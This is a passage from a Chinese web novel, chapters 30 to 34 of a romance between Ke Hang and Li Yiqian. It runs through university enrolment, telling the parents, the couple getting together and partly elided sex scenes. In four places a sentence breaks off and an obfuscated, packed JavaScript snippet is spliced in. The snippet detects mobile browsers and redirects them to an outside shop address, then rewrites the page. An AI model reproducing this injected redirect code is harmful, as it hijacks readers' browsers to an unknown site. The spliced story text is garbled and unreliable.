他的手指和掌心都是湿漉漉的,柯杭想到那抹潮湿的来处,又臊又爽。 玩具被他偷偷放到了床边的柜子上,李一谦的手离他太近,他不想被挨着,索性往后挪了挪。 身体碰触的瞬间,柯杭猛地顿住,李一谦手悬停在他的上方,跟着不动了。 柯杭能感觉到,抵在他腰上的东西,很烫,比他后腰的温度还要高许多。比他先有动作的是李一谦,默不作声地往后移了巴掌大的空位出来。 柯杭心里双手合十止不住地忏悔:“爸爸妈妈哥哥姐姐叔叔阿姨李一妍,对不起了,这真不怪我意志不坚定,我们从小看着长大的李一谦就是个妖精。” 刚才的欢愉让柯杭上瘾,忏悔完就觉得李一谦也挺辛苦的。 “李一谦。”他叫他,嗓子还哑着,听着格外性感。 这一声名字,让李一谦整个人滞住。 “嗯?” 柯杭翻了个身面对着他,将身上的衣服掀开,手往下摸去,“我帮你?”问完不忘夸赞自己简直是个绝世好人,菩萨心肠的好哥哥。 他已经做好用手或腿帮李一谦了,哪知李一谦却拒绝了他。 ...... 结束后柯杭又去冲了个澡,洗完回房间,发现床单被套什么的都被换成了另一套,柯杭自如地躺下去。 柯杭躺在床上,用手臂遮住双眼,听浴室里淅淅沥沥的水声。 心里想着,那个蠢蛋不会以为开着水自己就不知道他在干什么了吧? 爽是真的爽,困也是真的困。 眼皮子打架,柯杭感觉自己等不到李一谦回来就会睡着。他都还没找到时间问李一谦怎么今晚就回来了,不是说还要几天么。 想到刚才发生的事情,柯杭再次忏悔,“叔叔阿姨原谅我,等我做好心理准备再来找你们认错。” 柯杭沉沉睡去,直到第二天早上。 太久没运动,昨夜腰腹和腿长时间紧绷,睡醒动了动还有些疼。 他扭头一看,李一谦还没有醒,肩膀大半在被子外,便抬手给他掖了掖被子。 李一谦眼下有一片淡淡的青黑,被睫毛挡住了一些,不知道李爸怎么训练这个儿子的。 他轻轻拨了拨李一谦的睫毛,睫毛轻颤了一下,他又看了会儿。 很好,没醒。 想到昨夜,柯杭准备先溜之大吉,趁着李一谦没醒,出门让自己冷静会儿。他轻手轻脚地下床,从开着的衣柜里随手拿了衣服裤子到客厅换上。 紧急联系了下万煦,没接,他直接打车去了万煦家。 把门敲开后,柯杭看见一脸懵的万煦,万煦看了他一眼,又看向客厅的窗户,迟疑道:“我睡到傍晚了?” “白天啊。”柯杭毫不见外地往屋内走。 先是一顿寒暄,然后被万煦无情打断:“有话直说。” 柯杭:“我有个朋友。” “嗯,你怎么了?” 柯杭摇摇手:“不不,不是我,是我一个朋友。” “行,你,”万煦看了他一眼后,又叹气道:你朋友怎么了?” 柯杭:“他昨天和他喜欢的人发生了点儿事,现在有点冷静不下来,我应该怎么帮助他冷静?” 万煦看了眼墙上的挂钟,咬牙道:“这就是八点不到来敲我家门的原因?” “才八点啊?”柯杭嘀咕,“那我才睡了不到八小时。” “你睡了不到八小时?”万煦嘲道。 “那你知道我几点睡的吗?”万煦不爽地吼:“三个小时前!” 柯杭稍微升起些歉意:“抱歉抱歉,所以该怎么办?” “你去绕着公园和大爷们一起跑两圈,然后再找一个朋友和他说''我''我要脱单了''。” 柯杭细细品味了一下他的话,乐了:“你怎么能面无表情说出这么好笑的话?” “我怕我笑着让你滚。”万煦露出礼貌的微笑。 柯杭瘫在沙发上,摆摆手,“你继续去睡吧,我坐会儿就回去了。” “什么时候谈?”万煦站在房间门问。 柯杭叹了口气,“再过段时间吧,现在不是暑假么,空着呢,开学忙起来他就不一定想谈了。” “毕竟大学又是另一个新世界了。” 万煦看着已经沦陷在爱情中的好友,坏心眼地决定不提醒他。 大学确实是另一个新世界,但过分的小心和不确定关系,也会让人寒心。享受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248907|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校园生活的人从入学开始就会找寻目标,李一谦的外貌与性格会是个香饽饽,在学校呆的时间越长,身边聚集的人必定会越多。 万煦想到柯杭可能醋急跳脚,玩味地勾起唇,“那我睡了,记得跟你弟发个消息说你等会儿回去。” 柯杭坐在沙发上沉思,盯着墙上的挂钟出神。怎么说也把人睡了这么久了,给个名分吧要不。 回过神来,他觉得自己大清早就跑出来逃避,好像不太对。 至少在李一谦眼里不对,他赶忙摸出手机,发现李一谦在五分钟前给他发了一条消息,问他去哪儿了。 柯杭火急火燎地出了门,到楼下买了两份梅花糕打车回家。 车上,他给梅花糕拍了一张照片。 [木]:忽然想吃梅花糕,打车过来买了。 [二谦]:好,外面已经开始热了吧? [木]:是啊,我都出汗了。 其实不是热的,是紧张的。看到李一谦消息的时候,柯杭觉得自己像是和对象共度一夜后,第二天提裤就跑的负心汉。 [二谦]:那哥回来是想先洗澡、吃东西,还是解释一下为什么一大早就出去? 我靠,柯杭脑袋里就只剩下一个念头,这坏胚诈他, [木]:你什么时候醒的? 那边回得很快:“在你起床后。” 哦,那就是知道他已经出来一个多小时了。 从家里出门打车到这家梅花糕也只需要十分钟。他又翻了翻结算车费的时间和李一谦给他发消息的时间,哦,刚好一小时。 柯杭顿时心虚了不少,战战兢兢地回:那我先吃东西。 [二谦]:那哥你先吃了回来吧,我吃不下。 [木]:那我先回来洗澡吧,出了一身汗不舒服。 柯杭叹了口气,这算什么事儿啊,李一谦这什么态度啊。 消息提示音又响起。 柯杭看了一眼,简直两眼一黑。 [二谦]:暂时停水了,没水让你先洗澡。 哦,意思是,他把选项三完成了就有水洗澡了。 [木]:我只是需要冷静一下。 [二谦]:可是你上回帮我,我都没有躲你。 柯杭:? 柯杭疑惑了:我吗?我躲?我要躲直接回工作室拿着画包买最近一班车票踏上旅程了,出门冷静一下还给你带梅花糕回来算什么躲?? [木]:NONO,不要无理取闹。 柯杭破罐子破摔:太爽了所以无颜面对你,懂了吗?我在害羞在羞愧,给我留件衣服吧,别打破砂锅问到底了宝贝儿。 一长串字发出去,那边终于没了声响。 柯杭下车后决定绕小区走一圈再回去。 结果下车就看见小区门口站着个高挑的身影,低着头在傻笑。 柯杭:...... 怎么看着傻不拉几的,不太聪明的样子。 31. 《如何讨哥哥欢心》 他们默契地没有提昨晚的事情。 没几天就到了入学的日子,报道当天柯杭看李一谦提着个行李箱出了门。 他试探道:“我送你?” 李一谦摇摇头,“太热了,你在家里呆着吧,报道完我回来找你。” “军训的时候必须住校。”柯杭提醒道。 李一谦说:“我知道,但是报道时间有三天,我还能在家里呆三天。” “我——”柯杭抬抬手,欲言又止。 过了两秒,他自暴自弃道:“算了,我送你去,正好去画室看看。” 然后拿上钥匙,他取下一顶帽子给李一谦扣上,自己戴上另一顶,和人一起出了门。 报道第一天,人山人海,柯杭被人流挤得发闷,贴着李一谦,“人太多了。” 李一谦的视角只能看到柯杭的侧脸。 他们排队办理报名注册后,得去院系报道。 “你们系我没有认识的人。”柯杭叹了口气,找了离他们最近的一个红马褂问:“同学,请问工院报道在哪边?” 志愿者给他指了个方向,他道谢后拉着李一谦离开。 路上,他回想了这些年,“哎,你有没有发现,你每次升学我都有送你上学?” 李一谦初中报道那天,柯杭正好在上课,请了个假跟着李一谦走流程,叮嘱他有什么事儿就到高中部找他。 李一谦高中报道的时候,他暑假还没结束,还在家里,自然操起了老父亲的心,又送李一谦去报道,晒了大半天太阳,走的时候又叮嘱他有事打电话。 现在大学了,又送上了。 柯杭越想越乐,“我都比你爹妈更专业了,” 李一谦没有反驳他。 宿舍入住、分配钥匙、办理一卡通学生证,领取军训服。 一趟流程走下来已经是中午,柯杭觉得自己已经萎了,草被晒过头也是会萎的。李一谦全程给他撑着伞,但他还是觉得太晒。 A市的天真的好干燥,短短一个上午,他已经喝了快两瓶水。 李一谦是他们宿舍到的最早的一个,柯杭给出建议:“不要选门边的,否则会成为每天关灯的人。” “那是不是还不要选靠近厕所的,说不定晚上水管会响?” 柯杭点点头,“你很懂嘛。” 李一谦笑:“因为我之前也是在学校住校啊。” “你先把床垫铺上,床单带回去洗了,开班会那天再带回来,不然不舒服。” 李一谦说好。 柯杭本来是想跟着来,请李一谦的室友们吃个饭再说点让他们大家和谐相处的话,这是每个送孩子上学的家长基本会做的事情。 但李一谦的室友并不给他机会,唉。 “班会一般在早上开,到时候结束你叫你室友一块儿我们出去吃个饭?” “再说吧。” 把学校这边的东西弄好,李一谦跟柯杭到画室看了看。 现在其他年级还没开学,艺术楼里的人不多,柯杭带他到画室,指了指教室最后面阳光最好的一个位置,“我一般坐那儿,角落,光线好,还可以掌握窗帘。” 有些时候,光线会影响一幅画的色彩。 李一谦盯着那个位置,已经能想象到柯杭坐在那里认真画画的样子:“肯定很舒服。” “当然。” 在画室没呆几分钟,柯杭本来想带李一谦在食堂吃一顿,结果人很多,只得作罢。 李一谦:“回家吃吧?” “回家还得做啊,不嫌麻烦啊?”柯杭是实打实觉得会累。 李一谦却把他这话当成撒娇,“不累,上次买回来的意大利面还没吃,那个快。” “那行。”柯杭舔舔发干的嘴唇,“再在楼下买个西瓜吧,榨点西瓜汁。” - 李一谦军训的几天,柯杭百无聊赖地呆在家里没去找他,呆倦了就去工作室构思年末要交的画。 光影,光影,光和影,白和黑 他靠在墙上,用笔头在脑袋上点了点,自言自语:“不对,也可以是明和暗。” 柯杭灵光一闪,在微信里找到周凛的账号,拨了个视频过去。 那边很快接通,看背景是在办公室里。 手机对面的人很年轻,和他岁数差不多大,但却实实在在比他年长一轮。 “周哥,打扰了。”李一谦对他很尊敬。 周凛将手机立在一旁,问:“什么事?” 柯杭翻转手机镜头,随手抽了一张画纸出来,拿笔在上面画了个方框,等分成四块,他嘿嘿一笑:“之前跟你说有灵感,水分有点高,现在是真有灵感。” “我们的主题不是''光影''么,我想画四象限构图的画。” 周凛:“嗯,你继续,我在看。” “就像这样,比如我要画一处冰川,那么可以这样发分配,两处光两处影,影可以是背光的,也能是被物体遮挡住的。” 他寥寥几笔在画纸上勾勒出个大概。 “第一象限是天空背景,下面就是海洋,第二象限是冰山,下面就是被冰山遮挡住的海洋。” “怎么样?” 周凛给予他肯定的回答:“想法不错,但得保证能看出四张图是在一个画面,每个象限的图单拿出来都可以做一幅画,但他们是一个整体,只有创意是不够的,还得画细点,我不知道我说明白没。” “我懂的,okok。”柯杭冲他比没问题的手势,“那我挂了啊周哥,你慢慢玩。” 周凛无奈,“开学来找我一趟。” 柯杭嘴角的笑僵住了:“啊?” “你年初参加的那个比赛获奖了,来拿奖状。”周凛又说,“奖金走流水不知道什么时候能发,主办方那边说的年末前会打到你卡上。” 柯杭:“知道知道,感谢周哥送来金币。” 他热衷画画,但不热衷表现,和周凛熟了后,周凛让他把手头还有的作品全打包发给他一份,柯杭发给他后,周凛就经常拉着他参赛。 柯杭画过很多风格的油画,周凛只要看到合适的就会让他去,或者给他命题画。 所以这几年,柯杭大大小小的奖状和奖杯拿的挺多的。 他简单画了个草图,不过不是刚才说的冰川,而是一片湖泊。 写生那几天很放松,他有站在不同的角度观察那片湖,最后在农家楼的小楼上看到了忘不了的一幕。 农家小楼的楼梯是镂空的,在左上角和右下角的楼梯旁,是院子里的草坪绿植和远处与天空相接的粼粼湖水。 只可惜没有拍照片。 他勾出一个基本轮廓,想起周凛的话,这次就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248908|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不画普通油画了,画写实油画吧。 在草坪上勾出俩个人影,柯杭笑了笑,至于画不画进去么,待考虑。 柯杭在画画上,确实是个不可多得的行动派,用一天时间把草稿画好,又花两天时间改了改,马不停蹄到周凛的办公室找人。 “怎么样?”柯杭抬了个凳子坐在一旁问。 周凛指着左下角里的两个人,八卦道:“谈恋爱了?” “老师禁止打听学生感情生活。”柯杭不接他话。 “哈,”周凛放下他的画,抱臂后仰,靠在椅子上,气定神闲:“你不说,我不看。” 柯杭:? 柯杭:“说好的为人师表呢?我告你哦。” “你告吧。”周凛叹了口气,满面心酸:“果然年龄大了,想要关心关心学生都会被嫌烦。” 周凛瞥了他一眼,又深深叹了口气。 “别装了,你这演技也不知道林哥怎么看上你的。” 周凛立马骄傲:“靠脸靠才华靠人格魅力。” “......” 柯杭不吃他这套:“你先给我看有没有哪里需要改的。” 等周凛准备看的时候他才开始吐槽,“让你给我看光影色彩看大小,你给我看八卦,你真行。” “你这不是还没上色么?”周凛回怼。 柯杭:“那我有没有把颜色写在旁边,是不是标了明暗。” “啧。”周凛说,“果然不能和学生玩太熟,以前的虚心请教真是一点点都没有了。” 柯杭面无表情:“从你天天跟我炫耀你那一起长大喜欢了二十年,又花了三年才追上的对象的时候,你在我心中的神秘高大的形象也是一点点都没有了。” “你不懂。”周凛说。 柯杭发自内心叹了口气,“能量果然是守恒的,得到什么必定会失去什么。”就像周凛,得到了惊人的天赋,但失去了在爱情上面名为“理智”的那根筋。 两人凑在一起磨了一下画稿,柯杭笑容满面的离开。 “喂,你还没跟我说是不是处对象了!”周凛在原位喊。 柯杭看迅速打量四周,还好没人,不然脸就被这位教授扔群众中了。 “快了快了,别催。”柯杭说完逃似地跑掉。 他包里揣着画稿,买了瓶功能饮料拿在手里,撑一把太阳伞前往操场。 这天是真的热。 李一谦被分在机械1班,他站在操场看了一圈,一溜圈儿全是蓝色迷彩服,现在正在阴凉处休息。 他懒得找,摸出手机给李一谦发消息。 结果李一谦的消息比他还快。 [二谦]:哥,你来看我吗^^ 神了。 他正准备问李一谦在哪儿,字还没打完,李一谦又知道了。 [二谦]:我在主席台边上,不能离队TT, 柯杭想笑,说过去找他,又问这个表情是什么意思。 [二谦]:因为不能过来找你而难过,你来找我,喜极而泣。 噗。 [木]:你这几天其实没认真军训对吧,我怀疑你去看了一本《如何讨哥哥欢心》 [二谦]:有这本书吗? [木]:没有,但我可以给你编一本。 [二谦]:那我要,谢谢哥。 32. 你说天气真好 A大只用军训半个月,李一谦的军训早就结束了。 早在军训时,李一谦就告诉辅导员要申请外宿,解释完前因后果,辅导员让他早点申请,不然到国庆行政老师会很忙,可能找不到人签字。 军训结束后,正式上课的那一周,李一谦就已经办好了外宿申请,一式三份,他挨着交完后回宿舍拿东西。 他室友都挺舍不得他的,毕竟大家在军训时也发生了很多事情。 “中午一块吃饭?” 大家点头。 已经上了一周的课,再过不了几天就是国庆小长假。 柯杭也在上课,一周四天课,三天早八,他简直要恨死了。本来只有两天的,周凛让他帮忙上课,按课时费给他。 对照了一下自己和李一谦的课表,柯杭向金钱屈服。 他们俩又住在一块儿,天气已经没那么热了,也不用挤在一个屋子里蹭空调。 李一谦搬回来那天,在客厅纠结了一会儿,想到两个人还没在一起,还是规矩点吧,扭头进了次卧。 对此,柯杭很无语:“你巴心巴肝儿地想出来和我住,结果你不和我睡?” 李一谦撇撇嘴,“你还没和我在一起。” “行,行,行。”柯杭看似冷静,实则……还是有点小情绪的。 为什么他这么暴躁呢,是因为在李一谦军训的某天,何阿姨照旧给他打了个电话过来问李一谦近况,他们聊了一会儿后,不知道是他哪句话没说对,何纯竟然很吃惊地问他:“你们竟然还没在一起吗?”说完又捂住嘴,“抱歉,我说错话了。” 这简直是欲盖弥彰。 柯杭一脸懵:“什么?” 何纯:“小谦昨天和我说要办外宿和你一起住,我以为你们已经在一起了。”她小声自言自语,“原来还没追上吗?” “呃。”柯杭有点凌乱了,“这个,呃?” 何纯露出温柔的笑:“没事的小杭,当我没说。” 不是,阿姨,我已经听到了。你们家的人怎么都这样,掩耳盗铃吗? 但他已经不是当时被偷亲一下都得头脑风暴半天的那个柯杭了。于是,他挂上长辈们都喜欢的那副乖巧模样:“什么时候的事儿啊,阿姨?” 李一谦应该不会直接跟他爸妈说要追他吧?如果是的话,那上次跟他爸的电话,他在旁边的时候是不是就被误会了? 何纯:“你别担心,我们不会反对,喜欢谁是小谦的自由。我和他爸都是自私的父母,从小到大都没给他应有的陪伴,而只顾自己的事业。” “等想起关心时,他却变得独立起来,不那么需要我们了。所以,我和你叔叔一直很感激你陪伴他,” 其实还是需要的,只是为你们着想没有表现出来而已。柯杭在心里说。 “去年你和我们讲,让我们回家多陪陪他,我们回去了,但他很不自在。我们当时推了一部分工作回来的,也是着急了,吵了几句。” 柯杭此时是她最忠实的听众:“嗯,然后呢?” 何纯苦笑道:“然后他跟我们说,''爸爸妈妈你们去忙吧,你们请假这么多天工作会堆很多,我自己可以的'',当时我在想,这好像是我眼里懂事的儿子,但是感觉我们一家太不亲密了,怎么就变成这样了呢?” “那天我们给一妍也打了个视频,一家人在客厅谈心。” 柯杭想象了一下那个画面,三个人坐在沙发上,一个李一妍在屏幕里,有点想笑。 他还没笑出来,就听到何纯说:“然后小谦忽然说,他喜欢男生。” 柯杭嘴角抽了抽,没做出任何表情。 “他不告诉我们是谁,但我心知肚明。”何纯温柔地叫他,“小谦,阿姨冒昧问一句,你喜欢他吗?” 柯杭看见手机里的自己点了点头。 “那就好。”何纯松了口气,“那你什么时候开心什么时候和他谈吧,多钓钓他也行,让他知道得到不容易才会更珍惜。” 又叮嘱道:“平时别太惯着他了。” 那天之后,柯杭反复回味何纯的话。 他和李一谦的父母并没有很多交流,吃过几次饭,网上聊的比较多。 看来自己在他们那边原来是个会惯着李一谦的人设?不是,李一谦给他捏的人设也太好了点吧。 何纯竟然还让他多钓钓李一谦,这是亲妈会说的话吗? 是她亲妈才对。 于是柯杭又给自己亲妈打视频。 视频里,黄姐穿着丝绸的睡衣,正在梳妆台前护肤:“咋了?缺钱了?” 柯杭无语了一瞬:“我早就生活费自由了。” 正往脸上抹精华的女人兴致缺缺:“那是啥事儿?” “你猜猜?” 黄姐:“爱说说,不说滚。” 柯杭也不绕弯了:“你之前不是说让我找个对象么?” “嗯,找着了?”黄姐终于分给他一个眼神。 柯杭:“大概快了。” “行,”黄姐拿出按摩仪按脸,“人长什么样?有照片儿没。” 柯杭笑得鬼灵精怪的:“你猜猜是谁?” “谁啊?你工作室那几个?还是新认识的朋友?” 柯杭一看就知道黄姐从来没把李一谦往那方面想过。 “是李一谦啊。”柯杭紧盯着屏幕,想欣赏他妈震惊的表情。 黄姐不可置信:“你去祸害那么乖一小孩儿?” 柯杭:“谁?我?” 柯杭气笑了:“拜托,我祸害他?你怎么不说他找上我了呢?” “他追你?”黄姐问,"那你还不答应?端着做什么?人家上大学你不怕一大堆小弟弟小妹妹四周环绕?" 这几天A大的校园墙里确实出现了很多投稿,一张照片再加上连队,问姓名的问联系方式的,数不胜数。 柯杭咬牙:“真聪明啊,最近还真挺多人喜欢他的。” 黄姐恨铁不成钢:“那你装什么?赶快答应啊。” 他是真冤枉啊,不是他不答应,是李一谦就没问要不要在一起的事儿啊。 黄姐抛出诱饵:“谈一年不分手妈给你包一年颜料,谈五年一辆车,谈十年一套房。” 柯杭震惊,柯杭不理解,他妈这是什么意思? “你是怕我把李一谦甩了所以在这儿给我放年终奖?”柯杭难以置信。 黄姐理所当然:“是啊,我怕你始乱终弃,你长得就不像好男人。” “我的长相遗传的你。” “我知道啊,我不是也没自己是好女人么,”黄姐拿起手机走到床边,“你爸就是被我哄得找不着北。” 柯杭面无表情地挂断视频:“再见。” 九月的最后一天,大学放假。 外面已经不那么热了,呆家里反而还要更闷一些,饭后柯杭带李一谦出门散步。 之前散步都是去的河边,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248909|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉快。今天他带李一谦走的去公园那条路。 天边的晚霞是糖渍玫瑰的颜色,公园里的花草也正当盛开还未到败北之时。 “李一谦,今天天气真好对吧?” 今天阳光明媚,却不那么热,时不时会有清风拂过,确实算得上天气很好。 “嗯。” 走到人烟稀少的地方,柯杭深吸一口气呼出,“所以,我们在一起吧。” 毫无征兆的一句话,让李一谦瞪大了眼,唇齿微启,一脸不可置信,直勾勾看着柯杭。 柯杭扭头看他,有些不满意他的反应。 “喂。”柯杭用指尖戳戳他,“在想什么?想为什么我就这么草率的说出来了,还是说,你希望我过来牵你的手再给你个吻?” 声音还没落下,他就被李一谦抱了个满怀。 那颗脑袋又像以往一样在他肩颈蹭着,他按住胡乱动的脑袋,“行了行了。” 把李一谦推开,让人站好,他才开口:“我刚说的什么,你重复一遍。” 李一谦从脖子红到耳根,看着他十分认真地说:“你说天气真好我们在一起吧。” “嗯。“柯杭满意点头。 “那我们这就算?” “在一起了。”李一谦很快接道。 柯杭扬起笑:“那我是?” 李一谦跟着他笑:“男朋友。” 这就是确认关系了。 对十分钟前的李一谦来说,今天是很普通的一天,如果不是和柯杭呆一起的话,甚至称得上无趣。 可柯杭就是有股魔力,让平平无奇的一天变得有意义,赋予这天专属于他们俩的特别。 了却一桩心事,柯杭心满意足,准备带人回家。 李一谦拉住他都手,往暗处走。 柯杭挑眉:“不回家?” “想亲你。”李一谦毫不犹豫地说。 柯杭哈哈一笑,任由他将自己牵走。 两个人没有正儿八经的接过吻,每次都像闹着玩似的,要不就是不清醒,要不就是偷偷摸摸的。 来到公园的人工湖旁被灌木丛遮挡住的长椅前,李一谦带人坐下。 “站着不能亲?”柯杭眼带笑意。 “网上说最好找到轻松不累的环境,可以亲久点。” 柯杭噗嗤一声笑出来:“少上网,多问我。” 说完后,他就搂住李一谦的肩膀,胸膛贴近,去衔住他的唇瓣。 不知道是谁先开始的,撬开对方的唇齿,将自己嵌入。两人都是大姑娘上花轿,牙齿把对方磕到了好几次。 柯杭亲累了,把李一谦推开,舔了舔自己的嘴皮:“把你嘴张开我看看。” 李一谦便张开嘴,柯杭拿手机照了一下,拍了一张照片,指着手机上一颗比较尖的牙齿指责:“你这颗牙齿改天去牙医那磨一磨,刮到我肉了。” “我看看。”李一谦说。 柯杭是不会干出张开嘴让人看自己舌头这种事儿来的。 他还没拒绝,李一谦就说算了。 “?” “我可能真的太不纯洁了,看见你总会想些别的。” “所以?” “暑假打视频的时候,你说教我吹口哨,我看到你舌头伸出来,我就没办法正常和你聊天了。” 柯杭一脸无辜:“那你现在这是在?当着本人的面忏悔?” 李一谦沉重点头,“对不起,哥。” 33. 留在这儿(删减) 两人在一起后,生活好像也没什么变化,还和一样。非要说出点不一样么,那无非是李一谦变得更黏糊了。 睡醒要早安吻,出门要出门吻,回家要回家吻,睡前要晚安吻,反正就是找各种理由要柯杭亲。 “你把我嘴带走算了,想亲就抓起来嘴一口。” 柯杭被缠得烦,寻思着要不给孩子开个荤救救自己快要被亲肿的嘴唇。但转念一想,不太对,亲嘴儿都这样了,真开荤了还得了,不得要命了。 所以柯杭把这件事压了又压,小长假想带人一块儿出去玩。 “但放假到处都人,现在去玩也是人挤人。” 柯杭想了想,好像确实是。 在家里不分昼夜昏天黑地折腾了两天后,柯杭身心俱疲。 他按住李一谦的胸膛:“你消停会儿。” 一天二十四个小时,李一谦都会呆在他的视线之内,只要他一空,就会过来求贴求摸。 就吃饭的时候正常点。 “你一长相这么高冷的小孩儿咋那么黏糊。”柯杭吐槽道。 李一谦:“因为喜欢你。” “收敛点,我累。” 李一谦却是收敛了不少,他也轻松了不少,再粘着可就不是亲亲抱抱动动手的事儿了。 小长假第五天,柯杭照镜子发现自己嘴唇颜色比前两天淡了不少,满意地点点头。 但晚上洗澡的时候发现身上有些红点,像蚊子包。起初,他并没当一回事,只到胸膛和背后的红包越来越多,新的旧的夹杂在一起。 他明白了。 气冲冲地把罪魁祸首拽到镜子面前,指着自己身上的吻痕:“什么时候亲的?” 李一谦惯会装可怜:“你睡着的时候。”他用湿漉漉的眼睛看着柯杭,“这样也打扰你了吗?” 柯杭顿时泄了气,好吧,他的问题。之前钓太凶了,现在孽力回馈了。 但不也有一两天解决一次么? 柯杭用“他还年轻,精力正当旺盛”这个理由说服了自己。 柯杭想着晚上李一谦可能还要凑过亲他,莫名有点替李一谦心酸,于是下定决心,在浴室里多呆了会儿。 回房间时,发现被窝里的人像睡着了一样。 他躺在床上,过了几分钟,默默叹了口气,用脚背轻轻踢了一下旁边的人:“睡着没?” 身旁的呼吸急促了一瞬,转眼平稳下来,像柯杭听错了一样。 “别装。”柯杭说,“好事儿。” 李一谦侧过身子,面对着他:“什么?” “叫声好听的。” “哥哥?” 柯杭咂咂嘴,“再换个别的。” 李一谦安静了两秒,“男朋友?” “换换换,谁没事叫这个。” 柯杭说是这样说的,但这几天他使唤李一谦的时候就爱叫“男朋友”。 “男朋友哎,帮我拿拿冰箱里的提子呗。” “要不要一起打游戏啊男朋友。” “男朋友,过来睡觉了。” 实在是很双标了。 李一谦想了想,试探道:“老公?” “哎,老公在。”柯杭笑眯眯的,“做不做,嗯?” 李一谦因为这一句话浑身血液沸腾:“做什么?” “爱啊。”柯杭还是那副游刃有余的样子。 …… 柯杭似笑非笑:“你当我为什么洗那么久的澡?” 结果李一谦一本正经地回答:“因为想等我睡着再回来,那样我就不会偷偷亲你了。” 离得近,他甚至能看清他眼里的悲伤。 柯杭:? “哦,那我围着条浴巾就出来了是?” “是你觉得我睡了,所以不用穿好衣服了。”说完又难过起来。 柯杭声线陡然变冷:“那你现在是在干嘛呢?” “你说想和我做。” “嗯,然后呢?” “我没买东西。”李一谦翻下身,去找手机,“我现在买。” 柯杭服了。 李一谦的脑回路,真的有点不太一样。 他夺走李一谦的手机,一字一句:“再给你一次机会,有奖竞猜。” “第一个问题,我今天洗澡花的时间比平时多,是我不想见你还是我在浴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248910|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室做准备工作?” “第二个问题,浴巾已经被扯到一边了,那我现在身上还穿了什么,我又在等你做什么?” “最后一个问题,”柯杭撑起身子伸长胳膊去够柜子下的抽屉,指缝中夹着两个不大不小盒子,扔到李一谦面前,“做还是不做?” 李一谦听到自己说:“做。” 他上半身本就只穿着一件黑色的背心,现在三两下就将衣服脱了个干净。想越过柯杭去开卧室的灯,柯杭不让,“别开那个灯。” 于是李一谦退而求其次,把床边的台灯点亮。 柯杭躺在床上,欣赏李一谦姣好的身躯。衣服被随手扔在床尾,结实强劲的上身被展露出来,窄肩宽腰,肌肉线条分明。 想到之前受过伤的肩膀,柯杭怜惜地摸了摸。这一摸,彻底点燃了李一谦岌岌可危的理智。 他虚坐在柯杭身上,用炽热的目光紧紧盯着他。 “柯杭。”他撕开包装,捻起小圆环套在手指上,在柯杭的注视下扯平折痕。 “我有没有告诉你,不要拿现在这样的眼神看我?” 密密麻麻的亲吻停下,柯杭快被他的视线融化:“什么?” ..... 李一谦停下,胸膛与他的后背相贴,贴在他耳朵旁叫他:“柯杭。” “宝宝。” “哥。”密密麻麻的吻落在柯杭的耳侧,颈后,“好喜欢你。” 他说的话摻着热气,让柯杭这个脸皮厚的都难为情起来,心脏狂跳。 柯杭绷直上身,扭头过去好他接吻,羞红的脸无处藏匿。 李一谦指腹贴着他的脸颊,热热的,忽然身体绷紧,兀地顶上前,柯杭爽得吐出舌头,李一谦就把手指插在他贝齿之间。 ..... 他时不时抬头看眼柯杭的表情,可不知道,这副模样落到柯杭眼里是多么迷人。 “好了,好了。”柯杭掌心抵在他额头上,想把人推开。 李一谦看着他:“留在这儿。” “你他妈——” 余韵还未散去,柯杭用拇指抹开他嘴角的湿漉:“真变态啊,宝贝儿。” 34. 骰子 李一谦的大学生活步入正轨,每天上课和家里两点一线。 柯杭也开始为年末的画展做准备。 之前画好的草稿他拿到了画室,现在家里已经不是很好的创作地方了,李一谦和他自己都有责任。 开过荤后,不仅李一谦想做,他也想做。 他爱李一谦舒服过后因兴奋而泛红的脸颊,和平时害羞的红色不一样,要性感得多。 一方面觉得他们还年轻,做做有益身心健康,另一方面,柯杭又觉得该持续发展一下,万一搞虚了怎么办。 算起来两个人已经谈了快一个月了,两边父母也知道了。 这还多亏了李一谦当天发的那条朋友圈。 